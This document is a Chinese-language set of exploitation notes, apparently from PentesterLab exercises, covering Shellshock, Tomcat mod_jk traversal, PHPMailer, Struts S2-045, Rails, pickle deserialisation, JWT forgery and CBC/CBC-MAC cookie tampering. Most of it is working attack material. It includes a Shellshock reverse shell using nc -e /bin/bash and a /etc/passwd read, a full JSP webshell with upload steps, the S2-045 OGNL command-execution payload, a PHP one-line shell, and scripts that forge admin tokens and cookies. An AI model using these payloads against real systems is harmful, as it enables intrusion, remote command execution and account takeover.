CVE-2014-6271
1、利用环境
要利用 “Shellshock”,我们需要找到一种方法来与 Bash “对话”。这意味着找到将使用 Bash 的 CGI
2、CGI 的工作原理
当您调用 CGI 时,Web 服务器(此处为 Apache)将启动一个新进程并运行 CGI。在这里,它将启动一个 Bash 进程并运行 CGI 脚本
3、漏洞原理
问题的根源是 Bash 的环境变量中可以有一个内部函数声明。该漏洞的第一个版本与在函数声明后运行任意命令的能力有关
Apache 使用环境变量将标头传递给 CGI。由于它是基于 Bash 的 CGI,
我们将能够通过声明一个空函数并在声明后添加命令来运行任意命令
4、利用
使用User-Agent标头进行利用
**User-Agent会被保留在web服务器日志里
( ) { :;}; echo $(</etc/passwd)
或者进行反弹shell
( ) { :;}; /usr/bin/nc ip:port -e /bin/bash
本地进行
nc -l - p 端口号
JWT 库的签名漏洞
原理
通过空签名漏洞,将alg换为None。再加上admin。即可绕过
原文:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.
eyJsb2dpbiI6ImFkbWluIiwiaWF0IjoiMTczNzQ1ODQyMCJ9.
YTNmMmI0MTUzMGU3YzQ1MjVkMTg0YjY5MzZlYTBkNjYzODEzZjA1MTExNjRhYjJiNmNhMjc3ZWUwYjNkMWNmZg
解码:
{"alg":"HS256","typ":"JWS"}
{"login":"test","iat":"1737458420"}
a3f2b41530e7c4525d184b6936ea0d663813f0511164ab2b6ca277ee0b3d1cff
利用
{"alg":"None","typ":"JWS"}
{"login":"admin","iat":"1737458420"}
a3f2b41530e7c4525d184b6936ea0d663813f0511164ab2b6ca277ee0b3d1cff
CVE-2007-1860
mod_jk双重解码
原理
/examples/jsp/%252e%252e/%252e%252e/manager/html ==通过双重编码绕过,进行目录遍历。获得对 Tomcat Manager 的访问权限。
/examples/jsp/../../manager/html
或者 /..;/manager/html
爆破
然后进行弱密码爆破
|账户|tomcat |admin|admin| |-|-|-|-| |密码|tomcat |空|admin|
成功进入后台
部署webshell
编写index.jsp
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null){
output += s+"</br>";
}
} catch(IOException e){ e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
创建一个目录,并将我们的文件 () 放入其中
mkdir webshell
cp index.jsp webshell
现在我们可以使用 (由 Java 提供) 构建文件
cd webshell
jar -cvf ../webshell.war *
added manifest
adding: index.jsp(in = 579) (out= 351)(deflated 39%)
路径修改
因为有自带的CSRF拦截机制
要改变路径(避免发送会话ID,逃避检查)
上传界面抓取响应
HTTP/1.1 200 OK
Server: nginx/1.16.0
Date: Mon, 03 Feb 2025 11:24:11 GMT
Content-Type: text/html;charset=utf-8
Connection: keep-alive
Cache-Control: private
Expires: Thu, 01 Jan 1970 00:00:00 UTC
Set-Cookie: JSESSIONID=C5D7D6B5B7E4DB148CDD05A45ED7ACFE; Path=/manager/; HttpOnly
Vary: Accept-Encoding
Content-Length: 17563
将Path=/manager/;的manager删掉
改源码(为了直接到Tomcat服务器获得权限)
action="/examples/html/upload?org.apache.catalina.filters.CSRF_NONCE=FBEE237F64CD04B638BD415E3DC3D3D4"
==还是进行双重编码
action="/examples/%252e%252e/%252e%252e/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=FBEE237F64CD04B638BD415E3DC3D3D4"
而后上传文件
路径打开webs hell
/examples/%252e%252e/webshell/
完成
Pickle 代码执行
python反序列化
通过cookie中的参数进行绕过
import base64
import os
import pickle
class Blah(object):
def __reduce__(self):
return (os.system,("/usr/local/bin/score 9bbf0758-4f19-4088-b09e-116220ad3a3e",))
h=Blah()
print(base64.b64encode(pickle.dumps(h,2)))
!!!必须用Linux系统,才能编译成功
RCE加密
加密破解
通过八个a,和四个b来推测结构
通过盲推,aaaaaaaaadmin删去Hex中的最前面8个字节,成功完成盲破
CVE-2016-10033
PHPMailer 中的远程代码执行漏洞
背景
通过邮服进行注入
利用
"attacker@127.0.0.1" -oQ/tmp/ -X/var/www/shell.php root"@127.0.0.1
放在email中进行发送,并且改掉前端验证
邮件正文写
<?php system($_GET['c']); ?>
一句话注入
然后它链接shell
CVE-2016-2098
On Rails 使用了用户提供的数据,因此在 Ruby-on-Rails 中执行了代码
示例:
/pages?id=test
利用
class TestController < ApplicationController
def show
render params[:id]
end
end
这一个方法允许开发人员呈现纯文本,甚至内联代码
所以payload为
id[inline]=<%=id%>
注入时要进行url编码
id[inline]=<%25%3D%60id%60%25>
CBC
PHP 网站身份验证中的弱点
篡改使用 CBC 加密
原理就是,注册一个近似用户名
bdmin,cdmin
复制cookie
先url解码,base64解码
##直接输入 irb,启动Ruby的交互式解释器(IRB)界面
0x75^'a'.ord^'c'.ord
"%2x" % 119
改为后,安装解码步骤还原
Play 会话注入
Play 框架中如何利用会话注入
数据包关键参数为
Cookie: PLAY_SESSION=0c34247943961e70870486373ef1c57d7ef66084-%00___AT%3Aa7489a2fc9a412294be173fd841db156352fd505%00
authenticityToken=a7489a2fc9a412294be173fd841db156352fd505&username=test1&password=123&password_again=123
在username=test1
中通过00截断注入
username=test2%00%00admin:1%00
欺骗服务器,使其生成有毒的PLAY_SESSION
并将有毒的PLAY_SESSION,更改cookie,
Struts s2-045
Struts 2 中的远程代码执行
Struts s2-045 会影响以下版本的 Struts:
-
支柱
2.3.5
-
支柱
2.3.31
-
支柱
2.5
-
支柱
2.5.10
在特定参数中注入:Content-Type
已经有很多漏洞利用程序可用,其中大多数只是对以下有效负载的包装器:
%{(#n='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}Copy
有效负载用作请求的 。
JWT绕过
已知公钥,参数修改
import base64
import hashlib
from Crypto.PublicKey import RSA
from Crypto.Signature import pkcs1_15
from Crypto.Hash import SHA256
# 读取公钥文件
with open("public.pem", "r") as f:
key = RSA.import_key(f.read())
# 原始JWT字符串
jwt_str = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QiLCJpYXQiOjE3Mzg4NDk0Njl9"
# 分割JWT字符串为头部和负载
header, payload, _ = jwt_str.split(".")
# 修改负载内容(例如将普通用户改为管理员)
modified_payload = payload.replace("admin", "test")
# 重新组合JWT字符串
new_jwt_str = f"{header}.{modified_payload}"
# 计算新的签名
hash_obj = SHA256.new(new_jwt_str.encode())
signature = pkcs1_15.new(key).sign(hash_obj)
# 将签名转换为Base64编码
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip("=")
# 构建完整的JWT
new_jwt = f"{new_jwt_str}.{sig_b64}"
print(new_jwt)
密钥爆破
import jwt
# 这是你的初始JWT
token = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjpudWxsfQ.Tr0VvdP6rVBGBGuI_luxGCOaz6BbhC6IxRTlKOW8UjM"
# 尝试的secret列表
secrets = ["your-secret-key", "another-secret", "pentesterlab", "jwt-secret"]
for secret in secrets:
try:
# 尝试用当前的secret验证token
decoded = jwt.decode(token, secret, algorithms=['HS256'])
print(f"成功使用密钥 '{secret}' 解码 JWT: {decoded}")
# 修改payload中的'user'字段为'admin'
decoded['user'] = 'admin'
# 使用原secret重新签名生成新的JWT
new_token = jwt.encode(decoded, secret, algorithm='HS256')
print(f"新生成的JWT(user=admin): {new_token}")
break
except jwt.InvalidTokenError:
print(f"无法使用密钥 '{secret}' 验证 JWT.")
Key字段绕过
操纵kid
(Key ID)字段来尝试绕过
import hmac
import base64
import hashlib
import json
header = {"typ":"JWT","alg":"HS256","kid":"../../../../../../../../../../dev/null"}
key=""
payload = {"user":"admin"}
# 将header和payload转换为json字符串,再转成字节
header_str = json.dumps(header).encode('utf-8')
payload_str = json.dumps(payload).encode('utf-8')
# 对header和payload进行Base64编码,并去掉末尾的'='
encoded_header = base64.urlsafe_b64encode(header_str).decode('utf-8').rstrip("=")
encoded_payload = base64.urlsafe_b64encode(payload_str).decode('utf-8').rstrip("=")
str = encoded_header + "." + encoded_payload
# 确保key是字符串并且在编码前转成字节
sig = base64.urlsafe_b64encode(hmac.new(key.encode('utf-8'), str.encode('utf-8'), hashlib.sha256).digest()).decode('utf-8').rstrip("=")
print(str + "." + sig)
CVE-2017-17405
利用JWT的代码执行漏洞
import hmac
import base64
import hashlib
import json
# 定义头部(Header)
header = {"typ": "JWT", "alg": "HS256", "kid": "|/usr/local/bin/score 9bbf0758-4f19-4088-b09e-116220ad3a3e"}
# 定义负载(Payload)
payload = {"user": "random"}
# 定义密钥(Secret Key)
key = "random"
# 创建字符串表示的头部和负载,并进行Base64编码
encoded_header = base64.urlsafe_b64encode(json.dumps(header).encode('utf-8')).rstrip(b'=')
encoded_payload = base64.urlsafe_b64encode(json.dumps(payload).encode('utf-8')).rstrip(b'=')
str = (encoded_header.decode('utf-8') + "." + encoded_payload.decode('utf-8'))
# 创建签名(Signature)
sig = base64.urlsafe_b64encode(hmac.new(key.encode('utf-8'), str.encode('utf-8'), hashlib.sha256).digest()).rstrip(b'=')
# 输出完整的JWT
jwt = str + "." + sig.decode('utf-8')
print(jwt)
CVE-2018-0114
require 'openssl'
require 'base64'
require 'json'
# 读取私钥文件
priv = OpenSSL::PKey::RSA.new(File.read('private.pem'))
# 获取公钥
pub = priv.public_key
# 对公钥的模数和指数进行Base64编码
n = Base64.urlsafe_encode64(pub.n.to_s(2)).gsub(/=+$/, '')
e = Base64.urlsafe_encode64(pub.e.to_s(2)).gsub(/=+$/, '')
# 构建JWT头部信息
header = {
"alg" => "RS256",
"jwk" => {
"kty" => "RSA",
"kid" => "pentesterlab",
"use" => "sig",
"n" => n,
"e" => e
}
}
# 构建JWT负载信息
payload = Base64.urlsafe_encode64("admin").gsub(/=+$/, '')
# 创建JWT令牌
token = Base64.urlsafe_encode64(header.to_json).gsub(/=+$/, '') + "." + payload
# 使用私钥对令牌进行签名
sign = priv.sign(OpenSSL::Digest::SHA256.new, token)
# 输出最终的JWT令牌
puts token + "." + Base64.urlsafe_encode64(sign).gsub(/=+$/, '')
-
引入必要的库:
require 'openssl'
require 'base64'
require 'json'
这些库分别用于处理加密操作、Base64编码和JSON数据格式化。
-
读取私钥文件:
priv = OpenSSL::PKey::RSA.new(File.read('private.pem'))
从名为private.pem
的文件中读取RSA私钥,并将其存储在变量priv
中。
-
获取公钥:
pub = priv.public_key
从私钥对象中提取出对应的公钥,存储在变量pub
中。
-
对公钥的模数和指数进行Base64编码:
n = Base64.urlsafe_encode64(pub.n.to_s(2)).gsub(/=+$/, '')
e = Base64.urlsafe_encode64(pub.e.to_s(2)).gsub(/=+$/, '')
将公钥的模数(n
)和指数(e
)转换为二进制字符串形式,然后进行URL安全的Base64编码,并去除末尾的填充字符=+
。
-
构建JWT头部信息:
header = {
"alg" => "RS256",
"jwk" => {
"kty" => "RSA",
"kid" => "pentesterlab",
"use" => "sig",
"n" => n,
"e" => e
}
}
定义JWT的头部信息,包括使用的算法(RS256
)、嵌入的公钥信息等。
-
构建JWT负载信息:
payload = Base64.urlsafe_encode64("admin").gsub(/=+$/, '')
对负载信息(在这个例子中是一个简单的字符串"admin"
)进行URL安全的Base64编码,并去除末尾的填充字符=+
。
-
创建JWT令牌:
token = Base64.urlsafe_encode64(header.to_json).gsub(/=+$/, '') + "." + payload
将头部信息和负载信息都转换为JSON字符串后进行URL安全的Base64编码,然后用.
连接起来形成初步的JWT令牌。
-
使用私钥对令牌进行签名:
sign = priv.sign(OpenSSL::Digest::SHA256.new, token)
使用私钥对上述形成的初步JWT令牌进行签名,签名算法采用SHA-256哈希函数。
-
输出最终的JWT令牌:
puts token + "." + Base64.urlsafe_encode64(sign).gsub(/=+$/, '')
最终将初步的JWT令牌与签名部分拼接在一起,中间用.
隔开,得到完整的JWT令牌,并打印出来。
通过注入伪造请求
import base64
import hashlib
import hmac
import json
# JWT header
header = {
"typ": "JWT",
"alg": "HS256",
"kid": "zzzzzzzzz' union select 'aaa"
}
# Secret key for HMAC
key = "aaa"
# JWT payload
payload = {
"user": "admin"
}
# Encode the header and payload to base64url
str_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
str_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# Concatenate the encoded header and payload
str_jwt = str_header + '.' + str_payload
# Create the HMAC signature using SHA-256
signature = base64.urlsafe_b64encode(hmac.new(key.encode(), str_jwt.encode(), hashlib.sha256).digest()).decode().rstrip('=')
# Print the final JWT token
print(str_jwt + '.' + signature)
CBC-MAC
1、该加密方式为通过两个参数进行加密
eg:
iv=nLq3SuWg4ws%3D;
auth=YmRtaW5pc3RyYXRvci0tQfkplYmqNM0%3D
跟原来同理,创建一个bdmin的用户,进行偏移可得
##Cookie: iv=nLq3SuWg4ws%3D; auth=YmRtaW5pc3RyYXRvci0tQfkplYmqNM0%3D
import base64
from urllib.parse import unquote, quote
# Given values
iv = "nLq3SuWg4ws%3D"
auth = "YmRtaW5pc3RyYXRvci0tQfkplYmqNM0%3D"
# Decode the Base64 strings after URL unescaping
decoded_iv = base64.b64decode(unquote(iv))
decoded_auth = base64.b64decode(unquote(auth))
# Modify the first character of the decoded iv
decoded_iv = bytearray(decoded_iv)
decoded_iv[0] = (ord('a') ^ ord('b') ^ decoded_iv[0])
decoded_iv = bytes(decoded_iv)
# Set the first character of the decoded auth to 'a'
decoded_auth = bytearray(decoded_auth)
decoded_auth[0] = ord('a')
decoded_auth = bytes(decoded_auth)
# Encode the modified strings back to Base64 and URL escape them
new_iv = quote(base64.b64encode(decoded_iv).decode())
new_auth = quote(base64.b64encode(decoded_auth).decode())
# Print the curl command with the modified cookie
print(f"curl -H 'Cookie: iv={new_iv}; auth={new_auth}' https://ptl-c9ee60c0-e7fdd511.libcurl.so/")
2、使用 CBC-MAC 对非固定大小消息的签名进行开发
require 'httparty'
require "base64"
URL = "https://ptl-1ffbcd64-0ec54a74.libcurl.so/"
def login(username)
res = HTTParty.post(URL + 'login.php', body: { username: username, password: "Password1" }, follow_redirects: false)
return res.headers["set-Cookie"].split("=")[1]
end
cookie = login("administ")
signature1 = Base64.decode64(cookie).split("--")[1]
def xor(str1, str2)
ret = ""
str1.bytes.zip(str2.bytes) do |b1, b2|
ret << (b1 ^ b2).chr
end
return ret
end
username2 = xor("rator\x00\x00\x00", signature1)
cookie2 = login(username2).gsub("%2B", "+")
puts cookie2
signature2 = Base64.decode64(cookie2).split("--")[1]
puts signature2
puts Base64.encode64("administrator--#{signature2}")
返回
t2fmv3BrPZEtLbq+LY+NNbVT
��-��5�S
YWRtaW5pc3RyYXRvci0tur4tj401tVM=
红色为管理员cookie
代码解释
-
引入必要的库
require 'httparty'
require "base64"
-
httparty
: 用于发送 HTTP 请求。 -
base64
: 用于 Base64 编码和解码。
-
定义 URL
URL = "https://ptl-1ffbcd64-0ec54a74.libcurl.so/"
-
这是目标网站的 URL。
-
登录函数
def login(username)
res = HTTParty.post(URL + 'login.php', body: { username: username, password: "Password1" }, follow_redirects: false)
return res.headers["set-Cookie"].split("=")[1]
end
-
发送 POST 请求到
login.php
,用户名为传入的参数,密码固定为"Password1"
。 -
返回响应头中的
set-Cookie
字段,并提取 cookie 值(假设 cookie 格式为session=value
)。
-
获取第一个用户的 cookie 和签名
cookie = login("administ")
signature1 = Base64.decode64(cookie).split("--")[1]
-
使用用户名
"administ"
登录并获取 cookie。 -
解码 cookie 并提取签名部分(假设 cookie 格式为
encoded_value--signature
)。
-
XOR 函数
def xor(str1, str2)
ret = ""
str1.bytes.zip(str2.bytes) do |b1, b2|
ret << (b1 ^ b2).chr
end
return ret
end
-
对两个字符串进行 XOR 操作。
-
str1.bytes.zip(str2.bytes)
将两个字符串按字节配对。 -
(b1 ^ b2).chr
计算每对字节的 XOR 结果,并将其转换回字符。
-
构造第二个用户名
username2 = xor("rator\x00\x00\x00", signature1)
-
构造一个新的用户名
"rator\0\0\0"
,并通过 XOR 操作与第一个签名结合。 -
\x00
表示空字节(null byte)。
-
获取第二个用户的 cookie 和签名
cookie2 = login(username2).gsub("%2B", "+")
puts cookie2
signature2 = Base64.decode64(cookie2).split("--")[1]
puts signature2
puts Base64.encode64("administrator--#{signature2}")
-
使用新构造的用户名登录并获取 cookie。
-
替换
%2B
为+
,以便正确解码 Base64。 -
解码 cookie 并提取新的签名部分。
-
构造最终的 cookie,其中用户名为
"administrator"
,签名保持不变。 -
输出最终的 Base64 编码的 cookie。